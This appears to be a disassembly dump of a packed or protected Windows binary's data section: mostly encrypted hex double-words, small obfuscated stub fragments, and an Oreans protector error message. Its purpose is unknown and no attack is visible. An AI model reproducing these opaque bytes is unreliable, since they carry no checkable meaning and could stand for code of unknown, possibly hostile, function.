dd 67F5CB92h, 0D9B47525h, 0F34BD653h, 0CAA06741h, 0B4752D96h dd 914B1A08h, 7B7101EFh, 0DFCD6FF5h, 4BFB2291h, 95780EF1h dd 0DCA4920Fh, 0C7907E20h, 0A68F6305h, 2519D855h, 6DCE374Dh dd 0E76D6FF9h, 0E4186856h, 0A9232F1Dh, 0E6D49B18h, 0E1CF609Ch dd 6C60F193h, 1CBE44CAh, 5118F0A4h, 2650597Bh, 0F471F7AEh dd 0B4CA6E2Dh, 0EB25BA22h, 0D47676FDh, 81CFBD4Eh, 0C7D3A94Bh dd 0E2061BDCh, 7C04A8F9h, 4F150380h, 73FDEB8Dh, 7059D779h dd 0F7F57B1Fh, 0CFC48C7Ah, 2493A339h, 3FE1676Bh, 743B95C7h dd 3E07569Eh, 1E68563Ch, 0FAE84DDEh, 6FEC726Ah, 57F9F381h dd 1CE31969h, 53F87F55h, 90163FAEh, 891AD2A2h, 0D92A13E7h dd 30AD2F35h, 18BA3242h, 4D14FCA0h, 0FBEE9577h, 0A825AB35h dd 9032AABAh, 0F03CB9BAh, 0FB4C3535h, 56D30957h, 1CE31968h dd 14A5272Eh, 1FB8472h, 0D627105Fh, 2CA92332h, 0EEB5373Eh dd 3C265127h, 62E855F0h, 3CB2C59Bh, 0DE6455F0h, 0B3BDAB4Dh dd 0FCC39739h, 523A983Dh, 64F59130h, 0FF862A7Bh, 0C39280FDh dd 4DEF6709h, 0FFD59C63h, 55F03C78h, 20DCA896h, 0E172F87Eh dd 0B68C531Ah, 55F03CC1h, 0DD1F6755h, 9E2FB53Bh, 3E3398C8h dd 24E5A44Ch, 1C5ECE67h, 33B91EAFh, 0D92A1391h, 7EE66E5Ch dd 8674FAF2h, 0DC6204F8h, 0D6165D4Bh, 0E7E56B59h, 0D3095745h dd 7E364D0Ch, 0F327E8Ch, 0A48DDC7Eh, 2BA1AF53h, 867E47AEh dd 4860E905h, 99000000h, 86AE76DAh, 53369DFEh, 0E72EA9FEh dd 0E36EFF85h, 0DFB5F67Dh, 0BE273698h, 36393E14h, 57DDBE27h dd 44E66CF2h, 7940A8CCh, 74C061A3h, 2C94FB4h, 58254F14h dd 0F67C02A4h, 0E21A6654h, 0A334BA40h, 12D126h, 7D460000h dd 0DC54F6F6h, 0B38950B8h, 0B474D96Dh, 4DD855DBh, 0ABCDD7FEh dd 70178CD9h, 93548A66h, 33B95BE1h, 6410E6ADh, 0AAB4742Dh dd 94E3B924h, 207F4CE2h, 7A92332h, 93E4BA81h, 83CB2948h dd 40F46CFDh, 19CBA168h, 0B7C176DFh, 65178F31h, 0EDEEC48Bh dd 61BFC125h, 5E2614DBh, 935A219Eh, 2944BABDh, 45D65CCBh dd 0BC920957h, 0CB2944BBh, 834FD55Bh, 35935283h, 36156A0Ch dd 2A000014h, 32209D5Fh, 402EAB21h, 4B39B636h, 604ECB01h dd 758D517h, 9349161Ch, 0A25A2816h, 0B4283725h, 0C13B4937h dd 0CEA46B44h, 0B7D5D4A9h, 9507926Dh, 0BE2735E2h, 0CE957F21h dd 74CE6CF8h, 955CE2B4h, 0A724D8A7h, 344319E0h, 0E2B7D910h dd 96DDCB5Ch, 0BEC6B456h, 0C5616F05h, 0B33951BAh, 0E41AF1E7h dd 6FC46648h, 13CDh, 9714C893h, 0A724D8A9h, 0B22FADB9h dd 0C744B8C4h, 0D3508CD9h, 0C491A182h, 0D59D8B08h, 0A5AC9A17h dd 0B4BCAA27h, 1BE2BB38h, 0D5D33245h, 7E09E4B7h, 0A06741F3h dd 74CF9ACAh, 0C78E14B4h, 0D75488D9h, 0C26498E9h, 0AE508CD4h dd 52F64730h, 0E14ECB01h, 3E9EC5C7h, 609CE5D3h, 0F8CE8BEh dd 3F06B7D9h, 0FD5A278h, 0B339B7D9h, 77151DF4h, 0B74822CDh dd 88D97DCEh, 98E9D754h, 0D69D64h, 0B7D8C577h, 744A1197h dd 0B7D8C603h, 5AFC8D13h, 0AE1DBEE2h, 91E6BCEFh, 85B7D89Dh dd 37E940FFh, 0D9AF76FCh, 0AE2B0AB8h, 0A1125C4Ah, 837FB45h dd 0FF850B0Ah, 813A4A38h, 7F3CCABh, 0AD834ABEh, 0BE07F3CAh dd 5240C64Ch, 0A42ACC00h, 13DAA11Eh, 7F33A3Dh, 3F15DCBEh dd 0BE07F338h, 39CA50D6h, 25C7054Bh, 5A218BADh, 5A58FC84h dd 9D64EAB4h, 0AE2BA1AFh, 753CB0C0h, 0EDC3F887h, 0B7D9218Ah dd 0DE80068Ch, 21364117h, 52D8B7D9h, 482F05CCh, 0C6B7D921h dd 950DAF40h, 7B4209E3h, 0D921D2A5h, 5D51EAB7h, 1F350CABh dd 976D34BAh, 0B7D8D7E0h, 5017A82Eh, 7DA3CA89h, 0D1EE4259h dd 0BB5D9FE3h, 0BECEA435h, 50AE2673h, 0D412FECAh, 0D1734295h dd 127C7Ch, 6399E400h, 716BF8E6h, 847806F4h, 8D4F1907h dd 97552210h, 0D85AC91Ah, 0E2D04D8Fh, 0F1DF5C90h, 0FFED6A62h dd 25FE7B71h, 0D2EF885Eh, 441FB7D5h, 7DDA4B9h, 0BE273670h dd 2BA1B09Eh, 323E14A5h, 5BBE2736h, 2311D814h, 900D9E5Eh dd 0C58C6418h, 364F28FEh, 2C36BE27h, 34C54BB0h, 9BE1976Dh dd 6CDB479h, 0D5DF4730h, 5341C7B7h, 0AA30D20Ah, 672EB419h dd 535D29A8h, 2ABB2C78h, 0BAE97563h, 0EEA5CE57h, 4FF6040Dh dd 66B4B877h, 0C7054F3Dh, 9C199F25h, 2FC10411h, 5B1B57FEh dd 54000001h, 87F0C68Dh, 87BDA736h, 364C2B01h, 44CABDA7h dd 42F328B3h, 0F3797302h, 1EDDA468h, 48242FD0h, 0DEEC308Fh dd 22590FBCh, 3F350B9Ch, 0EDBE267Bh, 7B275026h, 61E7BE26h dd 19A450DBh, 0A4F43582h, 8E30ACB6h, 9218D4A0h, 0FFD58901h dd 0F3099474h, 0E16C4Ch, 31110475h, 470B5A7Eh, 44000000h dd 30D20A56h, 0F38E19AAh, 0A4DE6943h, 2736A6CEh, 1BE268BEh dd 36F97E54h, 0E5BBBE27h, 0BE273692h, 0AB99FE84h, 11A228A4h dd 0A419A486h, 8D2FADB6h, 0FE887607h, 29B473FEh, 2E16h dd 11614F00h, 67EDEF73h, 43F34BD6h, 0DDA4DE69h, 552B60EFh dd 0BE273622h, 57E86EF4h, 2736F381h, 28B339BEh, 0F17D19A4h dd 890FCD93h, 0A429B4FEh, 0A334A8B6h, 7E30D93Ch, 47435Ah dd 0F3B80000h, 0A4E16C4Ch, 6C60EFDDh, 0DDB344CAh, 0BE273697h dd 9F5D2917h, 81E677FDh, 0D1B21BC2h, 0EC72EDA3h, 7D19A461h dd 0B46DF8F4h, 7577FFEDh, 31BC4DD3h, 4316h, 11614F00h dd 36B3C49Ah, 0DD63BE27h, 9E2FB557h, 6C4CF313h, 16DDA4E1h dd 0CBA15B28h, 0BE2736ACh, 0B225E46Ah, 50D4C8A6h, 7EF6CC5Dh dd 0ACBE267Bh, 19A49B26h, 6DF8F47Dh, 7007DDA4h, 9EBE2736h dd 45D08718h, 0FFFE9C16h, 0DDA48BFFh, 27367007h, 8E4E15BEh dd 7B0166ECh, 3699DEB4h, 0F77DBE27h, 624AEE66h, 79FED49Bh dd 9DBE2736h, 0E9BF8617h, 0B4799F4Ch, 0BF9C046h, 920A8745h dd 6D430AE2h, 0B7D5E00Ah, 0D4B0BCAAh, 29AF518Bh, 0EB43E4A3h dd 736A60ADh, 30F77DE2h, 15B73542h, 865CFE8Fh, 0B7D5B4E7h dd 98E4D299h, 99EAD364h, 2CB6497Ch, 97F5B451h, 70DDDD35h dd 4CD7BF50h, 4C000000h, 7007DDA4h, 15BE2736h, 0A42A8F4Dh dd 36363D13h, 0AF76BE27h, 27369ED9h, 0FCEA70BEh, 0F8E67775h dd 30F77468h, 19BB3142h, 482C0293h, 0B3BE2736h, 8A602781h dd 0B47523F2h, 8AEDC38Ah, 8CB7D928h, 8A107506h, 0B8B80Dh dd 0F32D0000h, 0CAA06741h, 0B474C9E2h, 614F169Ch, 0AD33D517h dd 1867551Ch, 272F1DE4h, 663C03A5h, 0B7D91211h, 68F97F05h dd 2A6524EBh, 2614D087h, 6B0E91E4h, 29AFD01Ch, 21DBAA98h dd 7B55077Fh, 0E56BDEB4h, 0C147AE2Ah, 85470CFAh, 498FE8BEh dd 0F97FBE07h, 0ACB3A168h, 0BEC5B330h, 70249C3Eh, 0F4FBD198h dd 22B459F8h, 99E7D59Ch, 0D67874FBh, 0C4B38950h, 52B7D879h dd 0DBC946CCh, 0A98B5795h, 0F648E41Dh, 0F3BFF54h, 5A250000h dd 2A3725A2h, 3F4735B2h, 65240BDh, 125B49C6h, 170C5DDAh dd 1D9A521Bh, 2CA9232Fh, 38B5373Eh, 45C23A4Ah, 0A8CFA56Ch dd 66B7D5CFh, 0F77D008Bh, 6608C48Dh, 4FF1EB78h, 1BBD43C9h dd 3A5272Dh, 0ED8F4D15h, 0C36CE92Eh, 0CFBD6D2Ah, 0D1A54785h dd 0C5B97E8h, 8E0D5745h, 265FBFB8h, 43C94FBEh, 0D478C9B2h dd 6CD3508Ch, 577D6159h, 32AAB6A4h, 954B0A90h, 409E2F3Ah dd 54B8A031h, 0F1000000h, 0BE7D7F03h, 907AAB42h, 0E974057Ch dd 0A06741F3h, 74CD1ACAh, 470E94B4h, 94E3B980h, 82B7D911h dd 115126FCh, 3FC5B7D9h, 27C90351h, 806E10A1h, 0B87FFCF0h dd 4C5B0EF9h, 0B142ECEFh, 8DD7BDC3h, 0D715614Fh, 537AF51h dd 9E0EE4ABh, 70AE2675h, 0A4E26DEAh, 9133A9B6h, 924D3AD2h dd 0B63C90E9h, 9C3EBEC8h, 0CA978516h, 7C1EDEAAh, 0BBA970F6h dd 0D49335B7h, 0B7711B67h, 27B83EE0h, 35B7BCAAh, 0ABB5BD93h dd 8FD6BE26h, 1B09D04Dh, 0FE1B6251h, 0B8916DD1h, 7729A132h dd 9AE8D69Dh, 340AD162h, 0B478A875h, 716BF3E1h, 0FCC349CFh dd 7F717635h, 7517D59Ch, 2B8530EFh, 4511FF90h, 149A521Fh dd 0B6A40C97h, 58B2DAFh, 2FB80D74h, 8F2657FEh, 5F000001h dd 92D7A7A0h, 0E06608C4h, 4A42DB21h, 0DDA42EB9h, 27367007h dd 87189EBEh, 0FB866E0Fh, 36A6CEA4h, 9684BE27h, 0E76D0FCDh dd 0DDA4D661h, 739C791Eh, 20B1511Eh, 8EE5A495h, 8A0645Ah dd 0CA170091h, 0D4C8E4Dh, 4322F2A0h, 0DDA427B2h, 27367007h dd 87189EBEh, 541D6F0Fh, 7CFBD198h, 9ABE2736h, 0A4038E14h dd 97255DE5h, 9B2C23E9h, 0B6A439C4h, 0A9032AAh, 7A520179h dd 7DDA4EFh, 0BE273670h, 1C87189Eh, 31110491h, 3E2C5A7Eh dd 9016B834h, 3A17FFh, 0F38C0000h, 0E3A26943h, 456769Ch dd 0B7E9D888h, 237E6D2Ch, 0A4F17C0Dh, 56A09CE5h, 0B041ADF4h dd 2D3422E9h, 2C481EAFh, 0E2BE272Fh, 19A4D15Ch, 70FBF17Dh dd 1E1629B4h, 8B000000h, 0DE6943F3h, 36A6CEA4h, 1806BE27h dd 0BA039448h, 0C24884CCh, 7D19A437h, 0B470FBF1h, 31110429h dd 652C5A7Eh, 2736E88Fh, 2893CCBBh, 0B5E0262Dh, 5139CA50h dd 3Fh, 2B4CF3C6h, 27362255h, 0EAE26BBEh, 0EE79FF85h, 36A6CEA4h dd 0E268BE27h, 0A419A457h, 0F555CEE5h, 45CB6D6Fh, 58BCD586h dd 3DDF1D6Ah, 2B3826B7h, 29B426B1h, 34A8B6A4h, 384EA3h dd 0F3C30000h, 0A4E16C4Ch, 5BF1A1E5h, 7A0BD718h, 7897DDB3h dd 0F95BE26h, 16DDA484h, 27363740h, 0C051D7BEh, 0BFF47D35h dd 0BE94B04Ah, 0BE271CB9h, 0E418D75Dh, 1CA72D7Eh, 6B1629B4h dd 4FFFFFFEh, 36C5B288h, 0C349BE27h, 41F3A732h, 6BCAA067h dd 5B4799Fh, 0FC8D4F17h, 7DFAD097h, 91B7D5DFh, 0D0BE850Bh dd 0C6854C80h, 0FF887A34h, 64E17296h, 9D6444ECh, 9A6B17D6h dd 58CAF6Dh, 0DFDC7596h, 3BCC524Eh, 0D6311265h, 0B77E04B7h dd 0BAFC62F8h, 62EB46C2h, 471DE46Ah, 0B7D60D30h, 25C758DEh dd 0D60D1E4Fh, 0D6165FB7h, 0BD3F4634h, 0D5E471Bh, 5EE41869h dd 0BE1A86Fh, 0B7D60D6Ch, 2E3624AAh, 0E3341DAEh, 2D0EFFC6h dd 27DD51h, 57160000h, 0A049CEAFh, 2DD4939Ah, 9843C7F6h dd 95921DAEh, 0BE2736DEh, 0A623D9A7h, 0B451h, 0D09C8A00h dd 63F47A1Ch, 6741F3D8h, 2C2ACAA0h, 5EE4B475h, 0E1DAA997h dd 0D9306C0Bh, 9E24AAB7h, 0B02C3321h, 0AE2960Eh, 99D06D43h dd 0B43AAE2Bh, 6D652EEDh, 8A6A973Fh, 3D4432F9h, 2BCD0F57h dd 17B9333Dh, 8850B91h, 0EF914B1Ah, 0EC8B6128h, 0A1BE080Ch dd 0F17719D3h, 0FD75068Ch, 0D4AA715Bh, 0B45ABC1Bh, 7676FDEBh dd 746229F0h, 2FA88ECh, 77FDEB7Ch, 7A0AF875h, 0DADEB682h dd 751748E3h, 0B3020h, 0A7253000h, 0B5373C2Ah, 0C03C4A38h dd 0D10B5543h, 0E3196654h, 240E1566h, 3624A15Bh, 4533B02Ch dd 5341BE3Eh, 7952CF0Dh, 0CB9BDCB2h, 0A07BB7D5h, 0F5F77D15h dd 0DD1F6553h, 0B2884F16h, 0BE2736C5h, 8AEDC349h, 8CBE2736h dd 84D37506h, 0DEA64A9Bh, 8B3AA11Eh, 72577E37h, 2EA2D5ABh dd 0EE74BE27h, 57755Dh, 0A4EA0000h, 367007DDh, 189EBE27h dd 836D0F87h, 7F07F5BCh, 0B914B15h, 0C9BCA47Ah, 1A08B474h dd 9AFF904Ch, 0FC847214h, 0CF958300h, 41F36B0Dh, 5F3576FFh dd 0B7D91518h, 64EA70F6h, 6217D69Dh, 3FF474EDh, 0E60EE475h dd 0C6AE26A7h, 0AB4D8FD8h, 0B4283725h, 0BB38BE23h, 0AFB6A430h dd 0DC9194F4h, 83098018h, 2291E6BCh, 0FF85BE27h, 0F9F3806Eh dd 22CAA67Ch, 0ACB3BE27h, 193BB330h, 8E12E8AFh, 0C0B47987h dd 0F985733Ah, 4FB8603h, 57FE2FC1h, 12E1Bh, 42F39000h dd 0F5DBA731h, 0D933E00h, 0D58A8746h, 0C46C31ACh, 0CEA4A833h dd 0BE2736A6h, 4937FE84h, 0CEA97F3Ch, 40BE2736h, 18A334BAh dd 358219A4h, 6943F3F4h, 0F30994DEh, 0E16C4Ch, 31110475h dd 3C0B5A7Eh, 80000000h, 0DE6943F3h, 0C5AFB6A4h, 189E40BCh dd 643A0192h, 0BE273610h, 0E9A2AE9Ch, 27366413h, 0A62CB2BEh dd 632AB015h, 0FDA3F3A4h, 1AABDC38h, 7D19A48Fh, 0B470FBF1h dd 191629h, 0F38B0000h, 78740143h, 0CEA467F2h, 0BE2736A6h dd 0A473FE84h, 0FBF17D19h, 429B470h, 5A7E3111h, 570Bh dd 4CF38000h, 0A9B7A56Ch, 0CA9D72FAh, 5AE07355h, 65BABD93h dd 0D65CBE26h, 0DDA4BA45h, 27367007h, 52DF9EBEh, 8B8BA4E4h dd 4007981Eh, 26500A6Ah, 0F37E04BEh, 0E5A419A4h, 9BAFB145h dd 0A7952603h, 0A49722DAh, 87CBA9B6h, 772EBF45h, 38B4C2B0h dd 2E161CA7h, 8B000000h, 0E16C4CF3h, 36A6CEA4h, 0FE84BE27h dd 0FBE5A473h, 6A8501E6h, 6103F988h, 0FDC455DBh, 0F8F47D72h dd 0E3946A31h, 33BE2736h, 0B4911CADh, 0FEC91629h, 0F38BFFFFh dd 0D9A06741h, 7B6963EBh, 8E64F5F7h, 0B4799FA7h, 0E8DD3C1h dd 0D5DF3F38h, 0C349CFB7h, 8047CD32h, 8D0AC292h, 764C6F15h dd 0B7D5E001h, 0DF9ADDB3h, 0F67CB7D5h, 1DDFA391h, 4D4DD897h dd 640AD18Fh, 625017DEh, 7147D814h, 0B7D62E06h, 0AE08208h dd 0B7D62D63h, 0ED8F4D16h, 0D97B71FFh, 1450A18Ah, 0CEEB3C25h dd 512D2EF7h, 2BE5h, 27301E00h, 1F8EC56Ch, 0B93FE0F4h dd 0B64785CBh, 36DE952Bh, 0D9A7BE27h, 0F1DFA623h, 86DB6C60h dd 0D5h, 4884D1BFh, 48F20A6h, 0FEBEE5A4h, 35198C34h, 6229AF2Dh dd 26C3EB8Ch, 14A52BBEh, 4910F89Ch, 74ADA573h, 0BFC5B3B4h dd 2F0B73Dh, 0EFC7973h, 96E4447h, 0DB7D8BEh, 8DEAC087h dd 81B7D8BDh, 5BD375FBh, 4908CF39h, 358D206Fh, 7037C82Bh dd 2B5AA79Ah, 0CE951BAEh, 0DE5B91E0h, 0C96B61F0h, 12653B02h dd 4BE0824h, 0C375ED7Eh, 24A5D2A8h, 0E369BE08h, 0F9CF965Dh dd 0BE08247Eh, 0B2790A90h, 5AD413DCh, 0AFB3A1B4h, 0B1379C2Dh dd 7775FCEAh, 23311FE6h, 363E2CA9h, 0A31CEAB6h, 9F4148E3h dd 7D44Ah, 0BC18C00h, 19D3A08Eh, 2CA0AE9Ch, 35B7C1AFh dd 3FBDCAB8h, 80B271C2h, 8A78F5F7h, 998704F8h, 0A79512CAh dd 0CDA623D9h, 0C7473006h, 0ECC7B7D5h, 8DF77D61h, 0E06608C4h dd 2AF1B85Ah, 14B6363Ch, 36BFB88Eh, 614FBE27h, 0B339DB11h dd 0A6AE9C2Dh, 4836B6BEh, 9537BD3Fh, 8F0C5D46h, 3685F2C8h dd 389BE27h, 0BFFC8472h, 27368EE9h, 74FA80BEh, 243590F7h dd 49A7577Eh, 1C000000h, 672641F3h, 0EF814177h, 0D7A07600h dd 37BE26CBh, 3DBFC3B1h, 7602F0B7h, 481EE576h, 0B47455D4h dd 3EFDC44Ah, 66B05DFCh, 3CDE6F91h, 68BBB675h, 0F7DF6C01h dd 11E39066h, 0B8A1B7D9h, 0FE7B4A67h, 4E61512Fh, 0D6000000h dd 0A06741F3h, 74D6FECAh, 0C86AF0B4h, 9AEA8ADAh, 0B43AC062h dd 593B4937h, 8047CD0Fh, 690BC192h, 58FAF27Bh, 0AF854CD2h dd 0B7D917C8h, 8D2FC046h, 0C4C707C6h, 0E08455F1h, 4BA5D74Fh dd 526AAE84h, 9C8AAE26h, 0F2781AD2h, 0F976FC61h, 9E5A46Eh dd 6758F349h, 89B3C49Ah, 0DD63BE26h, 0A659C657h, 5F9DE7D5h dd 4587CFBDh, 82B62EBFh, 0E78D632Ah, 29B4747Dh, 0AC6238A3h dd 43F80E36h, 1AF0B711h, 0EE3BE9CAh, 0E45CFE84h, 364117B0h dd 0D8FDB070h, 3E05CC52h, 70D6A177h, 0B238FDB0h, 0B0709BDCh dd 64F57BFDh, 9FE8D69Dh, 0A435BB5Dh, 0FE2B0DCEh, 743BC1F3h dd 35B7BFADh, 8E7C0D93h, 513F06C6h, 0FD518C07h, 182205ABh dd 0BD840192h, 96E282CFh, 513FD056h, 39FDC903h, 4A08CDC3h dd 62F53A8h, 26310000h, 363B29A6h, 34B39B6h, 125E4CC9h dd 0E66F5DDAh, 0B1869E6h, 219E5E27h, 30AD2F33h, 3CB93342h dd 49C6064Eh, 0A4D3A970h, 72B7D5C6h, 0B6A40C97h, 4A82CCA8h dd 0FA9C22A8h, 6FF5E374h, 91DDCB6Dh, 3266DE5Bh, 46E8E472h dd 0AC733AC0h, 4425EEEDh, 4DDE904Bh, 78A5CA77h, 14B63CB4h dd 0D8A45826h, 48E70E1Eh, 0C224791Bh, 9E000005h, 0AE9C19D3h dd 0BCAA27A5h, 0CFBD3AB2h, 0DCCA4785h, 8BDC5993h, 0FCD9A98h dd 1EDEA492h, 30ACB3A1h, 3DBFC5B3h, 4A20E7C0h, 0B7D5C52Dh dd 0F37B06E1h, 0CAA06741h, 0B4799F73h, 5B22E96Fh, 0D5DFF285h dd 0D9E24B7h, 0FBF17D6Bh, 0E6B87F2Fh, 71C66848h, 56Dh dd 0F77468F3h, 7847809h, 128F4D19h, 27A45824h, 33B02C39h dd 64F141E2h, 75FDEB68h, 450CFA77h, 541C0A87h, 7B421B98h dd 0D5C5D2A5h, 0DE6944B7h, 0A06741F3h, 799F7FCAh, 0FD8573B4h dd 874511FFh, 0E5715F01h, 0B8751BE7h, 0A84A48E6h, 51C53h dd 0C3394400h, 0D10B5846h, 0E4186654h, 0EDEF7967h, 0F7F58270h dd 38FA297Ah, 4230AD2Fh, 513FBC30h, 5F4DCA02h, 855EDB11h dd 0C58FE8BEh, 0A47FB7D5h, 0F5F77D19h, 0DD1F6553h, 2D7E673Bh dd 3AB2C2B0h, 37B5BBA9h, 0F84CCBAh, 0A299813Fh, 0C96BF14Dh dd 135F4302h, 0CF414499h, 0EB0C683Eh, 9D86BE26h, 3208CF4Ch dd 0BE26EB45h, 95543C9h, 0C5442D3h, 6C4209D0h, 0BE26EC0Bh dd 96561D0Bh, 57E86EF4h, 0D63E62DAh, 5058390Fh, 64EAB479h dd 0D5FBDE9Dh, 7F515CF1h, 0E374FAF2h, 0A6262E1Ch, 4F353B29h dd 0A42ACC00h, 9032AAB6h, 1BE2840Ah, 4A6262Dh, 0C375ED7Eh dd 57F9F381h, 43340AD1h, 0D3B7D57Bh, 2A00C74Dh, 0AE27E056h dd 0DFBC248h, 0F7BE8547h, 26495621h, 0A132B8BEh, 0AE2E3624h dd 0A0E0940Ch, 45A19D3h, 0E2B7D859h, 572DF47Ah, 0B4749D35h dd 0DD7945CBh, 9E48E369h, 41FA7FCh, 36410000h, 64B39B6h dd 135B49C6h, 0E26E5CD9h, 0F67F6DEAh, 0FB2879F6h, 31AE2E37h dd 40BD3F43h, 4CC90352h, 59D6165Eh, 94E3B980h, 82B7D5C4h dd 0F77D1CA7h, 9E8C53F5h, 78FFD5D6h, 96BE2736h, 62E88A10h dd 5F9DE3D1h, 0DE366AE2h, 0C4F74117h, 1399B474h, 6E165E4Ch dd 0BE60E6E6h, 2F05A738h, 0B7D90944h, 0DFBA7940h, 6C60EE36h dd 0F096DDADh, 825765Fh, 512F46BDh, 361Fh, 41F39400h, 0ACAA067h dd 0C4B474D1h, 1D5027FDh, 0D0BEB7D9h, 24AA4C80h, 0A076189Eh dd 0B7D91DD3h, 0F82BEAB1h, 7914D213h, 56A79021h, 30088C39h dd 0CC5251h, 7DC70000h, 6C68DF7h, 0B658DE64h, 8BD5BFC8h dd 3B29CB51h, 2715B735h, 5026A359h, 0BE2729EAh, 229F5D23h dd 0EB02C34h, 430AE296h, 74C3076Dh, 68309B4h, 3B02EA8Eh dd 0FFFD8674h, 3D73986Eh, 58BAE28h, 0FC89773Eh, 0F4816F00h dd 0B070F6BFh, 2EF58BECh, 8461F58h, 0E369EFBEh, 0EDEF7866h dd 0B4518F21h, 459A3C42h, 305h, 5FDC105Bh, 6FECE071h, 7AF7F581h dd 8F0CC08Ch, 9B18D4A1h, 0C59D94Ah, 1D6553D0h, 0ED7462DFh dd 0FC8472EFh, 0E3AA8300h, 0D5C36A0Dh, 46D1ACB7h, 0CB94F07Dh dd 63E96F11h, 7468F8E6h, 6710E6ADh, 45BE2736h, 2737086Fh dd 1B8006BEh, 7FF8CE95h, 8FBE2736h, 34FB7809h, 36E0976Dh dd 0A82EBE27h, 41F38C17h, 0A3B2A067h, 70018729h, 0D101D3A9h dd 3F2DB474h, 8F15B735h, 711399FEh, 0D91DD89Bh, 29A3ADB7h dd 13C99987h, 0E8392271h, 2FF6BDACh, 0D91D1E59h, 7C6AF0B7h dd 7D66F7F5h, 0AB60F2Ch, 8A495130h, 171F6CDDh, 11F98A6Fh dd 0C7h, 0F5F77D86h, 0A3186553h, 2736AACDh, 60E66CBEh dd 2A52E8BEh, 0B5BBBE27h, 77B17037h, 809745EBh, 9A880596h dd 0A97012CAh, 766B0CE2h, 25ABBE26h, 90781C94h, 5795DBC9h dd 0D79E2FB5h, 74067301h, 9A179DB4h, 3B4A14D3h, 0A7A95E92h dd 12FA9E16h, 0F1B7754Bh, 5B49AE27h, 8C53D913h, 0ACB3D19Eh dd 0B73DBFC8h, 8C098F15h, 0E5E106C5h, 14E9A11Bh, 14C89583h dd 0B36CC048h, 62B75942h, 1D5h, 8F0CC08Bh, 9F1CD0A1h, 0AA27A5B1h dd 0BF3CB0BCh, 0CB4884D1h, 0FC89A97Ah, 0CD958300h, 0DDA4920Fh dd 0ACB4A21Fh, 13DAB330h, 0D5C13A3Dh, 7601DCB7h, 7FFCF07Dh dd 91D0C391h, 93806B16h, 0F1665413h, 0E98D5C6Eh, 0A45BE663h dd 80CCA8B6h, 9E24AA4Ch, 0F7E576FCh, 0AD17369h, 370A6D43h dd 860CBE27h, 368EE9BFh, 0FA80BE27h, 0B6F57B69h, 273697E0h dd 6BF177BEh, 0EAC276EEh, 0E16E5C23h, 98845AEBh, 86B474C1h dd 0D8EE9BFh, 0FA80B7D9h, 77FCD274h, 0DB7D90Dh, 0FB6D324h dd 0CD51300Fh, 45h, 6741F342h, 67EBD9A0h, 7EFED465h, 70B47523h dd 0BA8148EAh, 0D92893E4h, 7369FAB7h, 60E64BD1h, 28B4C399h dd 0DC62B7D9h, 28FE754Bh, 9D86B7D9h, 0AB10CF4Ch, 9744BD76h dd 0E6DF46D7h, 0F8512F2Ah, 27h, 36DF956Dh, 7A1EBE27h, 1604CB92h dd 29F0924Ah, 27362453h, 0E66CF2BEh, 2DF57F55h, 0CBB9B475h dd 55BA4B81h, 0F3C752CFh, 0D9A06741h, 27367403h, 8B1CA2BEh dd 0CC3EEEC4h, 4AD0B474h, 8622E1A8h, 0CAA276D7h, 715B1CF2h dd 35BBB7D8h, 2B481EAFh, 59B7D871h, 22DAA492h, 3A57A891h dd 512F728Bh, 1351h, 0DE95C600h, 1DBE2736h, 0F4CA917Bh dd 0B4752D80h, 8B088Eh, 0A06741F3h, 882AA2B2h, 368CEBC1h dd 48ABE27h, 5026ED7Eh, 0B4799E99h, 6B61EDDBh, 5597DBC9h dd 16A72DB3h, 9B892BB1h, 0AC9A17D5h, 0BF8628A4h, 0BB4C80D1h dd 36EECBE5h, 14654E69h, 22DAA997h, 7B69FA80h, 8C7AF7F5h dd 786608C4h, 6A29F0ECh, 59CF582Dh, 791BACE5h, 1DC112FBh dd 0AB212D57h, 80FD8309h, 339FAB9h, 3A45B783h, 37B5BBA9h dd 34095h, 1FB50000h, 0FAF27D94h, 0E21A6A58h, 0C9035240h dd 0B3293927h, 0A25A2311h, 87451200h, 6F6DF7E5h, 5597DFCDh dd 40BCC5B3h, 8957129Eh, 4C781E7h, 83000000h, 3C3304EFh dd 243C3124h, 5C243C33h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 0A168240Ch, 8900006Bh, 0AD682404h, 8B065158h dd 0C483240Ch, 48B5404h, 4C48324h, 25A668h, 240C8900h dd 81240481h, 8F18310Ah, 68810840h, 310A8108h, 24048B18h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 52240C8Bh, 0C281E289h dd 4, 8704C283h, 0E95C2414h, 0FFFD07FDh, 0CBD04FCCh, 28D6D084h dd 347129B9h, 0B8190BF1h, 6517708h, 0E0FFC503h, 6B9AC408h dd 6AC46F3Eh, 6BD0192Ah, 39A0B7C0h, 1FA3BFC6h, 39E5AD66h dd 618B52F9h, 11BF24A0h, 0DD41A03h, 5A45294Bh dd 76560238h, 67401BFAh, 13AD2DCAh, 14287126h, 4781856Eh dd 3ED24D8Eh, 68C97251h, 6262139Fh, 79E2388Eh, 5B8B5370h dd 52ED941Dh, 606F4D3Dh, 6EC1A474h, 7AB62134h, 54C4DF8Ah dd 32FAAE39h, 511CEEAAh, 706447B0h, 26BF89C0h, 228AF58Ch dd 13E8h, 0D03E00h, 0EA1C7DB2h, 0F3A9189Ch, 0BCE79B5Fh dd 0D788C7FBh, 7538B966h, 0EE958h, 0D83D0000h, 12A469AAh dd 5CD7E557h, 0BA334BECh, 69BEC081h, 11E90000h, 0AB000000h dd 4DEF2D64h, 750B8DA5h, 821620A8h, 0E7011776h, 0DB80FF33h dd 38148B96h, 8E8h, 76DE8A00h, 927E18BBh, 8EFBB9C8h, 815E4477h dd 239FFDC2h, 0F6816661h, 0C281A2ABh, 66342535h, 0B901F281h dd 6E8257Eh, 9000000h, 6BF19494h, 5EF28B32h, 60381489h dd 73F9BA66h, 0DA8B07BAh, 0DB816152h, 7AFDA44Eh, 0A21CEF81h dd 0C6816630h, 7896C813h, 0A218C781h, 81FC6630h, 0FF9728FFh dd 19850FFFh, 66000000h, 28E9DF8Bh, 0AF000000h, 9A4A1CDDh dd 0CB3C18D9h, 90D78930h, 76413D18h, 0FFFF74E9h, 1287F4FFh dd 0F843B888h, 7C1A2C4Fh, 789750D4h, 0E9F0EB41h, 400h dd 0 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 4 dd 0E4h dup(0) dd 56h, 45h, 0 dd 1203E9h, 0E19D3100h, 8B064E05h, 4E1FB585h, 8B60F906h dd 4E145D85h, 3961F806h, 0F042444h, 9685h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 657D653Ch, 